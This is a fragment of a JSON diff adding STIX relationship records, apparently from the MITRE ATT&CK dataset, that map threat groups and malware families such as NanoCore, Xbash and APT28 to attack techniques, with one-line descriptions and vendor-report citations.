"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used HTTP POST requests to transmit data.", + "type": "relationship", + "created": "2019-01-31T02:01:45.514Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d26abf6d-069b-4b7b-b408-cf9065ebef92", + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "modified": "2019-04-18T20:19:49.279Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) stores collected data in log files before exfiltration.", + "type": "relationship", + "created": "2019-01-29T21:33:34.623Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--330e86f3-f4ff-4fe0-af64-cd3c86849239", + "external_references": [ + { + "source_name": "Unit 42 BadPatch Oct 2017", + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "modified": "2019-04-23T21:17:49.887Z", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) gathers the hostname and OS version from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T21:47:53.704Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--002c9202-d7a0-4181-b912-42f7d6d38339", + "external_references": [ + { + "source_name": "Talos Micropsia June 2017", + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "modified": "2019-04-17T22:05:05.904Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can use scripts to invoke PowerShell to download a malicious PE executable or PE DLL for execution.", + "type": "relationship", + "created": "2019-01-30T13:28:47.788Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8a8068fb-7cf9-4ab6-92a7-e8b3ecdf578d", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "modified": "2019-06-28T15:15:54.413Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) has a module to harvest pressed keystrokes.", + "type": "relationship", + "created": "2019-01-30T13:53:14.932Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ce4bf5bc-4935-429b-843e-3232fb810e90", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:21.986Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) obfuscated shellcode used during execution.", + "type": "relationship", + "created": "2019-01-30T14:26:43.110Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2e165a8a-928e-488e-ad16-afb77a94b460", + "external_references": [ + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "modified": "2019-04-16T14:51:35.307Z", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect the username from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T15:19:15.009Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d82c2f3-0bca-49a0-b731-296a436eb003", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "modified": "2019-07-26T23:22:28.375Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to collect the processor type, operation system, computer name, uptime, and whether the system is a laptop or PC.", + "type": "relationship", + "created": "2019-01-30T15:38:21.258Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a008820-b742-4ec0-ad56-7494ca911da7", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-01-30T15:38:21.258Z", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can uninstall itself, including deleting its executable.", + "type": "relationship", + "created": "2019-01-30T16:39:54.127Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a2e37152-fda1-4d4f-8d9b-3ad85f1f764e", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.720Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T14:12:13.507Z", + "type": "relationship", + "created": "2019-01-30T16:46:41.620Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--022c1740-5adb-473e-a8b3-5b1646c959d8", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "relationship_type": "uses", + "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has dropped an mspaint.lnk shortcut to disk which launches a shell script that downloads and executes a file.", + "type": "relationship", + "created": "2019-01-30T17:43:28.179Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4995d4f-2b7e-439f-afb1-a4c9218c7a08", + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "modified": "2019-01-31T18:48:52.144Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used compromised VPN accounts to gain access to victim systems.", + "type": "relationship", + "created": "2019-01-30T18:02:59.196Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--820506c1-f8a0-4300-9653-2f245eff2cd1", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.886Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used a UEFI (Unified Extensible Firmware Interface) rootkit known as [LoJax](https://attack.mitre.org/software/S0397).", + "type": "relationship", + "created": "2019-01-30T18:53:05.399Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a5022441-bc5e-4b19-a773-b96b2719d1bb", + "external_references": [ + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + }, + { + "source_name": "ESET LoJax Sept 2018", + "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf" + } + ], + "modified": "2019-07-27T00:09:36.536Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) used a JavaScript backdoor that is capable of collecting a list of the security solutions installed on the victim's machine.", + "type": "relationship", + "created": "2019-01-30T19:27:46.132Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--30ff291e-e546-4084-8b5b-22fd5a597449", + "external_references": [ + { + "source_name": "Morphisec Cobalt Gang Oct 2018", + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + } + ], + "modified": "2019-07-26T23:38:34.038Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) collects the username from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T20:01:45.535Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b47d8f5e-7c09-4f40-a5a8-ccce10a8363b", + "external_references": [ + { + "source_name": "Securelist Denis April 2017", + "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018.", + "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/" + } + ], + "modified": "2019-04-24T20:56:04.677Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KONNI](https://attack.mitre.org/software/S0356) has used HTTP for C2.", + "type": "relationship", + "created": "2019-01-31T00:36:41.187Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--37b3a79f-6f48-4c5c-9ec7-b063ad375083", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:19.088Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tasklist](https://attack.mitre.org/software/S0057) can be used to enumerate security software currently running on a system by process name of known products.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--80ca0faf-6958-4158-a36d-b3e7936c5f5a", + "external_references": [ + { + "source_name": "Microsoft Tasklist", + "description": "Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.", + "url": "https://technet.microsoft.com/en-us/library/bb491010.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) hooks processes by leveraging its own IAT hooked functions.", + "type": "relationship", + "created": "2019-01-29T17:59:44.424Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--01e4bf9a-3d9c-4381-aa9c-cca73376c771", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.157Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is encrypted using single-byte XOR.", + "type": "relationship", + "created": "2019-01-29T18:23:46.141Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b09cad27-7b44-4a57-adf8-dcbcb3cdcb0a", + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "modified": "2019-01-29T18:23:46.141Z", + "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) has a command for UAC bypassing.", + "type": "relationship", + "created": "2019-01-29T18:55:20.798Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--945dface-ae29-4baa-ad2d-45c27029936a", + "external_references": [ + { + "source_name": "Fortinet Remcos Feb 2017", + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + } + ], + "modified": "2019-04-19T14:39:53.042Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can list active processes running on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T19:18:28.637Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7c60bccc-f485-403d-ab3b-db861a3a4429", + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.615Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) can list the processes on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T19:36:02.840Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e6f2f304-e637-4636-a238-b30904ce11fc", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "modified": "2019-04-12T14:43:22.646Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) uses DES to encrypt the C2 traffic.", + "type": "relationship", + "created": "2019-01-29T20:05:36.447Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a5f33976-796d-46b8-9c5f-5545ef25c03f", + "external_references": [ + { + "source_name": "PaloAlto NanoCore Feb 2016", + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "modified": "2019-04-17T20:47:23.921Z", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) creates a RunOnce key in the Registry to execute its VBS scripts each time the user logs on to the machine.", + "type": "relationship", + "created": "2019-01-29T20:05:36.519Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dd417d31-d129-44ac-8a9f-b14b79235dfa", + "external_references": [ + { + "source_name": "Cofense NanoCore Mar 2018", + "description": "Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018.", + "url": "https://cofense.com/nanocore-rat-resurfaced-sewers/" + } + ], + "modified": "2019-04-17T20:47:23.939Z", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has used several code packing methods such as Themida, Enigma, VMProtect, and Obsidium, to pack their implants.", + "type": "relationship", + "created": "2019-01-29T21:27:25.177Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--61986499-5358-4edc-aab1-6a13ae0f7c06", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. 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Retrieved November 13, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "modified": "2019-04-23T21:17:49.889Z", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) uses port 26 for C2 communications.", + "type": "relationship", + "created": "2019-01-29T21:33:34.694Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e57d5424-fa14-4007-bad7-734a045b3879", + "external_references": [ + { + "source_name": "Unit 42 BadPatch Oct 2017", + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. 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Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "modified": "2019-06-28T15:15:54.442Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component is a Web Shell payload.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bea7bd3c-1251-4858-8957-a6dc3bb840d2", + "external_references": [ + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + } + ], + "modified": "2019-04-24T16:39:54.013Z", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "relationship_type": "uses", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the current user's name and SID.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5efe685d-66a6-4f1f-8779-4aae5db859d0", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.466Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT18](https://attack.mitre.org/groups/G0026) establishes persistence via the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key.", + "type": "relationship", + "created": "2019-01-30T14:00:49.912Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e47f03aa-09b3-45a2-927d-b2cd96e7c444", + "external_references": [ + { + "source_name": "Anomali Evasive Maneuvers July 2015", + "description": "Shelmire, A. (2015, July 06). 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Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2019-05-30T18:05:32.837Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [QuasarRAT](https://attack.mitre.org/software/S0262) .dll file is digitally signed by a certificate from AirVPN.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cf0b5987-3d37-481c-979c-36c597b91fc5", + "external_references": [ + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-06-24T19:05:41.606Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Exaramel](https://attack.mitre.org/software/S0343) checks for anti-virus software installed on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T15:10:04.236Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": 